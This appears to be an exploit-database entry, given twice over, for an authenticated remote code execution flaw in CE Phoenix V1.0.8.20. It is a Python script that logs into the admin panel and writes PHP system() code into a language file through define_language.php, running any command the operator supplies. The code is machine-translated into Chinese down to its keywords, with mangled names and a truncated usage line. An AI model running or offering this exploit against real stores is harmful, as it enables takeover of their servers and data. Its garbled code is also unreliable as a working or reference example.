##利用标题: CE Phoenix V1.0.8.20-远程代码执行(RCE)(认证)
#### Date: 2023-11-25
####剥削作者: tmrswrr
####类别: WebApps
####供应商HomePage: [CE Phoenix](https://phoenixcart.org/)
####版本: V1.0.8.20
####在:上测试[SoftAculous Demo -CE Phoenix](3https://www.softaculous.com/apps/ecommerce/ce_phoenix)
##利用:
导入请求
来自BS4进口美丽的小组
导入系统
导入Urllib.Parse
导入随机
从时间进口睡眠
类颜色:
okblue='\ 033 [94m'
警告='\ 033 [93m'
fail='\ 033 [91m'
endc='\ 033 [0m'
bold='\ 033 [1M'
下划线='\ 033 [4M'
cblack='\ 33 [30m'
cred='\ 33 [31m'
cgreen='\ 33 [32m'
cyellow='\ 33 [33m'
cblue='\ 33 [34m'
cviolet='\ 33 [35m'
cbeige='\ 33 [36m'
cwhite='\ 33 [37m'
DEF ENTRY_BANNER():
color_random=[colors.cblue,colors.cviolet,colors.cwhite,colors.okblue,colors.cgreen,colors.warning,warning,warning,
颜色,颜色,颜色。
random.shuffle(color_random)
横幅=color_random [0] +'''
CE Phoenix v1.0.8.20-远程代码执行\ n
作者: TMRSWRR
'''
char in Banner:
打印(char,end='')
sys.stdout.flush()
睡眠(0.0045)
def get_formid_and_cookies(session,url):
响应=session.get(url,ally_redirects=true)
如果响应。ok:
汤=beautifutsoup(响应。文本,'html.parser')
formid_input=soup.find('input',{'name':'formid'})
如果comemid_input:
返回formid_input ['value'],session.cookies
没有返回,没有
def pertric_exploit(session,url,用户名,密码,命令):
打印('\ n [+]试图利用目标.')
onirent_url=url +'/admin/define_language.php?lngdir=englishFilename=english.php'
formid,cookies=get_formid_and_cookies(session,initial_url)
如果不是Formid:
打印('[ - ]无法检索初始形式。')
返回
#登录
打印('[+]执行登录.')
login_payload={
'formid': formid,
'username':用户名,
'password':密码
}
login_headers={
'content-type':'应用程序/x-www-form-urlencoded',
'cookie': f'cepcadminid={cookies ['cepcadminid']}',
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,像Gecko一样)
'referer': initial_url
}
login_url=url +'/admin/login.php?action=process'
login_response=session.post(login_url,data=login_payload,headers=login_headers,lasher_redirects=true)
如果不是login_response.ok:
打印('[ - ]登录失败。')
打印(login_response.text)
返回
打印('[+]登录成功。')
new_formid,_=get_formid_and_cookies(session,login_response.url)
如果不是new_formid:
print('[ - ]登录后无法检索新的Formid。')
返回
# 开发
打印('[+]执行利用.')
encoded_command=urllib.parse.quote_plus(命令)
exploit_payload=f'formid={new_formid} file_contents=%3c%3FPHP+echo+echo+系统%28%27 {encoded_command}%27%29%29%3B'
exploit_headers={
'content-type':'应用程序/x-www-form-urlencoded',
'cookie': f'cepcadminid={cookies ['cepcadminid']}',
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,像Gecko一样)
'referer': login_response.url
}
exploit_url=url +'/admin/define_language.php?lngdir=englishfilename=english.phpaction=save'
exploit_response=session.post(exploit_url,data=exploit_payload,headers=exploit_headers,ally_redirects=true)
如果exploit_response.ok:
打印('[+]利用成功执行。')
其他:
打印('[ - ]利用失败。')
打印(exploit_response.text)
final_response=session.get(url)
print('\ n [+]执行命令输出: \ n')
打印(final_response.text)
def main(base_url,用户名,密码,命令):
打印('\ n [+]开始开发过程.')
session=requests.session()
percorm_exploit(session,base_url,用户名,密码,命令)
如果name=='__ -Main __':
Entry_banner()
如果Len(sys.argv)5:
打印('USAGE: Python script.py [username] [password] [password] [... [3] 命令=sys.argv [4] main(base_url,用户名,密码,命令)
#### Date: 2023-11-25
####剥削作者: tmrswrr
####类别: WebApps
####供应商HomePage: [CE Phoenix](https://phoenixcart.org/)
####版本: V1.0.8.20
####在:上测试[SoftAculous Demo -CE Phoenix](3https://www.softaculous.com/apps/ecommerce/ce_phoenix)
##利用:
导入请求
来自BS4进口美丽的小组
导入系统
导入Urllib.Parse
导入随机
从时间进口睡眠
类颜色:
okblue='\ 033 [94m'
警告='\ 033 [93m'
fail='\ 033 [91m'
endc='\ 033 [0m'
bold='\ 033 [1M'
下划线='\ 033 [4M'
cblack='\ 33 [30m'
cred='\ 33 [31m'
cgreen='\ 33 [32m'
cyellow='\ 33 [33m'
cblue='\ 33 [34m'
cviolet='\ 33 [35m'
cbeige='\ 33 [36m'
cwhite='\ 33 [37m'
DEF ENTRY_BANNER():
color_random=[colors.cblue,colors.cviolet,colors.cwhite,colors.okblue,colors.cgreen,colors.warning,warning,warning,
颜色,颜色,颜色。
random.shuffle(color_random)
横幅=color_random [0] +'''
CE Phoenix v1.0.8.20-远程代码执行\ n
作者: TMRSWRR
'''
char in Banner:
打印(char,end='')
sys.stdout.flush()
睡眠(0.0045)
def get_formid_and_cookies(session,url):
响应=session.get(url,ally_redirects=true)
如果响应。ok:
汤=beautifutsoup(响应。文本,'html.parser')
formid_input=soup.find('input',{'name':'formid'})
如果comemid_input:
返回formid_input ['value'],session.cookies
没有返回,没有
def pertric_exploit(session,url,用户名,密码,命令):
打印('\ n [+]试图利用目标.')
onirent_url=url +'/admin/define_language.php?lngdir=englishFilename=english.php'
formid,cookies=get_formid_and_cookies(session,initial_url)
如果不是Formid:
打印('[ - ]无法检索初始形式。')
返回
#登录
打印('[+]执行登录.')
login_payload={
'formid': formid,
'username':用户名,
'password':密码
}
login_headers={
'content-type':'应用程序/x-www-form-urlencoded',
'cookie': f'cepcadminid={cookies ['cepcadminid']}',
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,像Gecko一样)
'referer': initial_url
}
login_url=url +'/admin/login.php?action=process'
login_response=session.post(login_url,data=login_payload,headers=login_headers,lasher_redirects=true)
如果不是login_response.ok:
打印('[ - ]登录失败。')
打印(login_response.text)
返回
打印('[+]登录成功。')
new_formid,_=get_formid_and_cookies(session,login_response.url)
如果不是new_formid:
print('[ - ]登录后无法检索新的Formid。')
返回
# 开发
打印('[+]执行利用.')
encoded_command=urllib.parse.quote_plus(命令)
exploit_payload=f'formid={new_formid} file_contents=%3c%3FPHP+echo+echo+系统%28%27 {encoded_command}%27%29%29%3B'
exploit_headers={
'content-type':'应用程序/x-www-form-urlencoded',
'cookie': f'cepcadminid={cookies ['cepcadminid']}',
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,像Gecko一样)
'referer': login_response.url
}
exploit_url=url +'/admin/define_language.php?lngdir=englishfilename=english.phpaction=save'
exploit_response=session.post(exploit_url,data=exploit_payload,headers=exploit_headers,ally_redirects=true)
如果exploit_response.ok:
打印('[+]利用成功执行。')
其他:
打印('[ - ]利用失败。')
打印(exploit_response.text)
final_response=session.get(url)
print('\ n [+]执行命令输出: \ n')
打印(final_response.text)
def main(base_url,用户名,密码,命令):
打印('\ n [+]开始开发过程.')
session=requests.session()
percorm_exploit(session,base_url,用户名,密码,命令)
如果name=='__ -Main __':
Entry_banner()
如果Len(sys.argv)5:
打印('USAGE: Python script.py [username] [password] [password] [... [3] 命令=sys.argv [4] main(base_url,用户名,密码,命令)